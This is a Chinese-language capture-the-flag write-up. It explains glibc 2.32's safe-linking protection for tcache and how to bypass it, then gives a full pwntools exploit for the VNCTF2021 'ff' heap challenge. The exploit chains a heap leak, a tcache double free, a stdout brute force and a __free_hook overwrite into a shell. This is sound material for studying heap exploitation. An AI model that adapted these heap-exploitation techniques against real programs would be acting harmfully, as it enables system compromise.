一道题目学习glibc 2.32
safe-linking
glibc2.32引入的新的防御机制-safe-linking(异或加密),其核心思想是:将指针的地址右移12位再和指针本身异或,如下,L为指针的地址,P为指针本身,该操作是可逆的,取指针时再做一次操作就可以还原得到原来的指针:
该操作是在chunk被放入tcache bin和从tcache bin中取出时进行
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
对应的,tcache相关操作(tcache_put和tcache_get)也进行了更改
static __always_inline void *
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;
//2.31引入的新机制
e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
可以看到,向tcache bin中放入chunk时,会将其bk指针(即tcache_entry->key)改写为所放入的tcache,该操作后续是为了在free时防止double free;除此之外,会将其fd指针地址与 tcache->entry[tc_idx] 异或存储
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
if (__glibc_unlikely (!aligned_OK (e)))
malloc_printerr ("malloc(): unaligned tcache chunk detected");
tcache->entries[tc_idx] = REVEAL_PTR (e->next);
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}
从tcache bin中取chunk时,会对取出的chunk进行反异或操作,同时将其bk指针(tcache_entry->key)置零
bypass safe-link
bypass safe-linking机制需要用到uaf或者double free之类的漏洞,同时释放tcache到一个空闲tacahe bin中,此时由于tcache bin中没有空闲chunk,tcache->entry[tc_idx]=0,故
PROTECT_PTR (&e->next, tcache->entries[tc_idx])== PROTECT_PTR (分配到的chunk地址->fd,0)==((分配到的chunk地址->fd)>>12)^0 ==(分配到的chunk地址->fd)>>12
此时若存在uaf 或者double free,可以泄露出leak_addr= (&malloced_chunk->fd)>>12位置,则heap_base=leak_addr<<12,我看有的blog会把leak_addr称为key,这里的key和tcache_entry的key是有区别的,需要注意一下,我倾向于认为前者为加密算法的密钥,后者是防范tcache double free的关键字。
同样的,若存在栈溢出、double free等漏洞,可以改写chunk的bk指针,即tcache_entry->key为0,以绕过tcache的double free检查
[VNCTF2021]ff
程序逻辑很简单
- add :可以申请16个chunk,申请的size最大为0x80,申请到的内存下标赋给全局变量idx
- delete:释放idx对应的chunk,指针未清零存在uaf或者double free
- show :只有一次show的机会,输出idx对应的chunk的8字节内容,即fd指针值;可以考虑用来泄露heap_base
- edit:存在两次edit机会,修改idx对应chunk的0x10内容
漏洞利用思路
- 利用uaf泄露heap base
- 篡改tcache,修改tcache_entry的key值,从而绕过tcache double free 检查,进行double free
- 改tcache bin的fd指针为tcache_perthread_struct地址,从而分配到tcache_perthread_struct,改写其对应字段的值
- 由于限制了show的次数,所以需要爆破stdout来leak libc
- 之后因为存在UAF,直接改free_hook为system
exp
from pwn import *
io=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
context.log_level='debug'
def add(size,content=b'a'):
io.sendlineafter(">>","1")
io.sendlineafter("Size:\n",str(size))
io.sendafter("Content:\n",content)
def delete():
io.sendlineafter(">>", "2")
def show():
io.sendlineafter(">>", "3")
def edit(con):
io.sendlineafter(">>","5")
io.sendafter(":",con)
def exp():
#泄露堆地址
add(0x70)
delete()
show()
heap_base=u64(io.recv(6).ljust(8,b'\x00'))<<12
log.success("heap base : "+hex(heap_base))
#修改tcache_entry的key值,从而绕过tcache double free 检查
tcache=heap_base+0x10
edit(p64(0)*2)#change the key of tcache
delete() #tcache double free
##change the fd of tcache to point to tcache_perthread_struct
edit(p64(tcache^(heap_base>>12))+p64(tcache))
add(0x70)
# we are going to free tcache_perthread_struct (size 0x290)
# so first mark tcache[0x290] to 7 to prevent it falling into tcache bin
# instead, freeing tcache_perthread_struct will fall into unsorted bin
payload=b'\x00\x00'*(0x29-2)+b'\x07\x00'
add(0x70,payload)
delete()
# now mallocing from tcache_perthread_struct
# Due to 0x20 0x30 0x40 's counts field is overwritten by a libc address, we can only malloc 0x50 size chunk
# mark tcache[0x50] to 1 and tcache[0x80] to 1
add(0x48, (b'\x00\x00' * 3 + b'\x01\x00' + b'\x00\x00' * 2 + b'\x01\x00').ljust(0x48, b'\x00'))
add(0x38, b'\x00' * 0x38)
#这一步由于aslr的存在,需要爆破
add(0x18, p64(0) + b'\xc0\xe6') # 0x7ffff7fce6c0 <_IO_2_1_stdout_>
#_change _IO_FILE,改flag为0xfbad1800 and 覆盖 IO_write_base 后两位 \x00
add(0x48, p64(0xfbad1800) + p64(1) * 3 + b'\x00')
#设置timeout=1,这样方便程序自动进入下一轮循环
libc_base=u64(io.recvuntil('\x7f',timeout=1)[-6:].ljust(8,b'\x00'))-0x1e4744
if libc_base <= 0:
raise EOFError
log.success("base : "+hex(libc_base))
free_hook=libc_base+libc.symbols[b'__free_hook']
system=libc_base+libc.symbols[b'system']
# 篡改了IO_2_1_stdout后,发现程序输出不带\n了
def add2(size, content=b'a'):
io.sendlineafter('>>', '1')
io.sendlineafter('Size:', str(size))
io.sendafter('Content:', content)
#gdb.attach(io)
add2(0x30,p64(free_hook))
add2(0x70, p64(system))
add2(0x30, "/bin/sh\x00")
delete()
io.interactive()
while True:
try:
io=process('./pwn')
exp()
except EOFError:
pass